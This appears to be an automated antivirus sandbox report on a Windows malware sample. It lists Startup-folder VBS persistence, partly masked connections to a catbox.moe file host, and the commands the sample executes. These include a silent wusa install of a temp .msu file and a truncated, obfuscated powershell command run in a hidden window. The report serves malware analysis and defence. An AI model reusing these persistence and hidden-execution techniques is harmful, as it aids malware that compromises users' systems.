Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\<File name>.vbs
Malicious functions
Downloads and executes files.
Network activity
Connects to
- 'fi###.catbox.moe':443
TCP
Other
- '34.##9.100.209':443
- 'fi###.catbox.moe':443
UDP
- DNS ASK fi###.catbox.moe
Miscellaneous
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' wusa.exe %TEMP%\\Upwin.msu /quiet /norestart
- '<SYSTEM32>\wusa.exe' %TEMP%\\Upwin.msu /quiet /norestart
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "sleep 180"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command $clqjx = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + 'PAFUAbA' + [char]66 + 'MAHAAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jA...' (with hidden window)
